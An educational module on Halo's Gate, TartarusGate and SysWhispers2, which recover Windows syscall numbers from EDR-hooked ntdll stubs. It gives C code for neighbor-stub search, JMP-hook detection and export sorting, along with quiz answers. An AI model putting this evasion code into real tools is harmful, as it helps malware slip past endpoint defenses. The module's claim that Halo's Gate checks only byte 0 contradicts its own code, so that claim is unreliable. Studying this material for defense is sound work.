Difficulty: Advanced

Module 7: Halo's Gate & TartarusGate Extensions

When the gate is hooked, ask the neighbors.

Beyond the Original

The original Hell's Gate fails if the target stub is hooked -- the SSN bytes are overwritten by the JMP patch. Halo's Gate (by Sektor7) and TartarusGate (by trickster0) solve this by searching neighboring syscall stubs to calculate the target SSN. This module covers the hook detection improvements, the neighbor search algorithm, and how these extensions handle various EDR hooking styles.

The Problem: Hooked Stubs

When an EDR hooks NtAllocateVirtualMemory, it overwrites the first 5+ bytes of the stub with a JMP instruction. The original Hell's Gate checks for the pattern 4c 8b d1 b8 and returns FALSE if it does not match. But the SSN information is not truly lost -- it can be recovered from the layout of ntdll's syscall region.

ASM; A hooked stub: first 5 bytes replaced by JMP
NtAllocateVirtualMemory:       ; SSN = 0x18 (but we can't read it directly)
  e9 xx xx xx xx    jmp  EDR_Hook     ; EDR's JMP overwrites mov r10,rcx + b8
  00 00 00          (remaining bytes of original mov eax, 0x18)
  ...

; BUT neighboring stubs are often still clean:
NtAccessCheckByType:           ; SSN = 0x17 (one below, NOT hooked)
  4c 8b d1          mov  r10, rcx
  b8 17 00 00 00    mov  eax, 0x17    ; Clean! We can read this SSN
  ...

NtWorkerFactoryWorkerReady:    ; SSN = 0x19 (one above, NOT hooked)
  4c 8b d1          mov  r10, rcx
  b8 19 00 00 00    mov  eax, 0x19    ; Clean! We can read this SSN
  ...

The Key Insight

Syscall stubs in ntdll.dll are laid out contiguously in memory, each approximately 32 bytes apart (the exact size depends on the Windows version). Since SSNs are assigned sequentially, if you find a clean neighbor stub N positions away, you can calculate the target SSN as neighbor_SSN +/- N. EDRs typically only hook a subset of functions (20-50 out of ~470), so clean neighbors are almost always available within a few positions.

Halo's Gate: Neighbor Search

Halo's Gate (introduced by Sektor7) extends Hell's Gate with a bidirectional search. When a stub is hooked, it walks up and down through adjacent stubs looking for one that is clean:

C// Halo's Gate neighbor search algorithm
// 'pFunctionAddress' points to the hooked stub
// Each stub is approximately 0x20 (32) bytes apart in memory

BOOL HalosGateResolve(PVOID pFunctionAddress, PWORD pSSN) {
    BYTE* stub = (BYTE*)pFunctionAddress;

    // First, try the direct read (original Hell's Gate check)
    if (stub[0] == 0x4c && stub[1] == 0x8b && stub[2] == 0xd1 && stub[3] == 0xb8) {
        *pSSN = *(WORD*)(stub + 4);
        return TRUE;  // Stub is clean
    }

    // Stub is hooked -- search neighbors
    // Search both UP (higher addresses, higher SSNs)
    // and DOWN (lower addresses, lower SSNs)

    for (WORD delta = 1; delta < 500; delta++) {
        // Search DOWN (neighbor with SSN = target - delta)
        BYTE* neighborDown = stub - (delta * 0x20);  // 0x20 = stub size
        if (neighborDown[0] == 0x4c &&
            neighborDown[1] == 0x8b &&
            neighborDown[2] == 0xd1 &&
            neighborDown[3] == 0xb8) {
            // Found clean neighbor below
            WORD neighborSSN = *(WORD*)(neighborDown + 4);
            *pSSN = neighborSSN + delta;  // Target is 'delta' positions above
            return TRUE;
        }

        // Search UP (neighbor with SSN = target + delta)
        BYTE* neighborUp = stub + (delta * 0x20);
        if (neighborUp[0] == 0x4c &&
            neighborUp[1] == 0x8b &&
            neighborUp[2] == 0xd1 &&
            neighborUp[3] == 0xb8) {
            // Found clean neighbor above
            WORD neighborSSN = *(WORD*)(neighborUp + 4);
            *pSSN = neighborSSN - delta;  // Target is 'delta' positions below
            return TRUE;
        }
    }

    return FALSE;  // All nearby stubs are hooked (very unlikely)
}

Halo's Gate Neighbor Search

Stub at offset -0x40 (delta=2): 4c 8b d1 b8 16 00 ← SSN 0x16 (clean)
Stub at offset -0x20 (delta=1): 4c 8b d1 b8 17 00 ← SSN 0x17 (clean)
TARGET STUB at offset 0: e9 xx xx xx xx ← HOOKED (SSN unknown)
Stub at offset +0x20 (delta=1): 4c 8b d1 b8 19 00 ← SSN 0x19 (clean)
Stub at offset +0x40 (delta=2): e9 xx xx xx xx ← HOOKED

In the diagram above, the target stub (SSN 0x18) is hooked. Halo's Gate finds the clean neighbor at delta=1 below (SSN 0x17) and calculates: 0x17 + 1 = 0x18. Alternatively, it could use the neighbor at delta=1 above (SSN 0x19) and calculate 0x19 - 1 = 0x18.

TartarusGate: Improved Hook Detection

TartarusGate (by trickster0) improves the hook detection logic. The original Hell's Gate and Halo's Gate only check byte 0 for 0xE9 (a JMP hook). But some EDRs place their JMP hook at byte 3 (offset 0x03), right after the 3-byte mov r10, rcx instruction. This produces the byte pattern 4c 8b d1 e9 -- the stub starts correctly but has a JMP where the mov eax, SSN opcode (0xB8) should be. TartarusGate adds a check for this pattern:

C// TartarusGate hook detection
// Checks byte 0 AND byte 3 for JMP hooks

BOOL IsStubHooked(BYTE* stub) {
    // Check 1: Classic JMP hook (first byte is E9)
    // EDR overwrites from byte 0: e9 xx xx xx xx ...
    if (stub[0] == 0xe9)
        return TRUE;

    // Check 2: JMP hook at byte 3 (after mov r10, rcx)
    // Some EDRs preserve the 3-byte "mov r10, rcx" but place
    // a JMP where "mov eax, SSN" should be:
    //   4c 8b d1 e9 xx xx xx xx   (hooked)
    // vs expected clean pattern:
    //   4c 8b d1 b8 XX XX 00 00   (clean)
    // Halo's Gate only checks byte 0 for 0xe9, missing this hook style
    if (stub[3] == 0xe9)
        return TRUE;

    return FALSE;  // Stub appears clean
}

TartarusGate's Byte 3 Check

The key improvement in TartarusGate is checking byte 3 for 0xE9 (JMP). In a clean stub, byte 3 is always 0xB8 (the opcode for mov eax, imm32). Some EDRs hook by preserving the initial mov r10, rcx (bytes 0-2: 4c 8b d1) but placing a JMP at byte 3 to redirect execution before the SSN is loaded. Hell's Gate and Halo's Gate only check byte 0 for 0xE9, so they see the correct 0x4C at byte 0 and assume the stub is clean -- but the SSN at bytes 4-5 is actually part of the JMP displacement, giving a bogus value. TartarusGate catches this by also checking byte 3.

Comparison of Gate Techniques

TechniqueAuthorHook DetectionSSN RecoveryHandles
Hell's Gateam0nsec / RtlMateuszChecks 4c 8b d1 b8 prefixDirect read onlyClean stubs only; fails on hooked
Halo's GateSektor7Same as Hell's GateNeighbor search (up/down by 0x20)Hooked stubs via neighbor calculation
TartarusGatetrickster0Extended: also checks byte 3 for 0xE9 (JMP after mov r10, rcx)Neighbor search + improved detectionClassic JMP hooks at byte 0 and JMP hooks at byte 3

Edge Cases and Pitfalls

Stub Size Variability

The neighbor search assumes a fixed stub size (typically 0x20 = 32 bytes). However, the actual stub size can vary slightly between Windows versions. On some builds, stubs include additional padding or a different test/jnz sequence. A more robust implementation would use the EAT to find neighboring function addresses directly, rather than assuming a fixed byte offset. This ensures correct neighbor identification regardless of stub size.

SysWhispers Variants

While not gate techniques per se, the SysWhispers family uses different approaches to the same SSN resolution problem and is worth understanding for context:

C// SysWhispers2: Sorts Zw* exports by address to derive SSN
// Since stubs are laid out in SSN order in memory,
// the Nth export (sorted by address) has SSN = N

// Step 1: Collect all Zw* export addresses from the EAT
typedef struct { PVOID addr; DWORD64 hash; } SYSCALL_ENTRY;
SYSCALL_ENTRY entries[MAX_ENTRIES];
DWORD count = 0;

for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
    PCHAR name = (PCHAR)(base + pdwAddrOfNames[i]);
    if (name[0] == 'Z' && name[1] == 'w') {
        entries[count].addr = (PVOID)(base + pdwAddrOfFunctions[pwOrdinals[i]]);
        entries[count].hash = djb2((PBYTE)name);
        count++;
    }
}

// Step 2: Sort by address (ascending)
qsort(entries, count, sizeof(SYSCALL_ENTRY), cmpAddr);

// Step 3: SSN = index in sorted array
for (DWORD i = 0; i < count; i++) {
    if (entries[i].hash == targetHash) {
        resolvedSSN = (WORD)i;  // Position = SSN
        break;
    }
}

Address Sorting vs. Stub Reading

The SysWhispers2 approach of sorting Zw* exports by address is an elegant alternative to reading stub bytes. Since stubs are laid out in SSN order, the function with the lowest address has SSN 0, the next has SSN 1, and so on. This works even when stubs are hooked because it only reads the EAT (function addresses), not the stub bytes themselves. The trade-off is that it requires enumerating and sorting all ~470 Zw* exports, whereas Hell's Gate only reads the specific stubs it needs.

Pop Quiz: Gate Extensions

Q1: In Halo's Gate, if the target stub is hooked and the nearest clean neighbor is 3 positions below with SSN 0x15, what is the target SSN?

If the clean neighbor is 3 positions below (lower memory address, lower SSN), its SSN is 3 less than the target. So target = neighbor + delta = 0x15 + 3 = 0x18.

Q2: What improvement does TartarusGate add over Halo's Gate?

TartarusGate adds a check for byte 3 being 0xE9 (JMP). Some EDRs preserve the 3-byte mov r10, rcx instruction but place a JMP at byte 3 (where mov eax, SSN should start). Halo's Gate only checks byte 0 for 0xE9 and misses this hooking pattern. TartarusGate catches it by also checking byte 3.

Q3: Why does the SysWhispers2 address-sorting approach work even when stubs are hooked?

EAT addresses point to the start of each stub. Inline hooks modify the code at those addresses but do not change the EAT pointers. Since SysWhispers2 only reads addresses from the EAT (not stub bytes), it gets correct addresses even for hooked functions. Sorting these addresses gives the SSN order.